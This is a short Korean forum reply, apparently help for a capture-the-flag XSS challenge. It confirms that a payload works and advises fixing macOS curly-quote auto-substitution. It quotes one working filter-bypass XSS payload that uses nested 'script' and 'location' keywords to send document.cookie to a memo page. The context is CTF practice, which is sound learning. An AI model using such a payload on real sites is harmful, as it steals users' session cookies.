코드 상으로도 문제가 없고 동일한 payload로 전달해봐도 잘 작동합니다.
flag 페이지에서 전달한 param이 정확히 <scrscriptipt>locatioonn.href='/memo?memo='+document.cookie</scriscriptpt> 가 맞는지 확인해보시면 되겠습니다.

’ - > ' 이걸로 바꿔서 시도해보세요

mac 설정 -> 키보드 -> 텍스트

mac 에선 ' 가 ’로 자동 변경되어서 설정해주셔야 합니다 :)